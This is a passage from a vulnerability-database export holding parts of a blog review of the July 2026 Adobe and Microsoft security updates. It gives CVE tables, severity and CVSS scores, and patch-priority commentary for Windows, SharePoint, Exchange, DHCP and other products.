CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:58.787432Z"}, {"uuid": "05948399-da30-41d7-bab2-df56ad60c93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54129", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  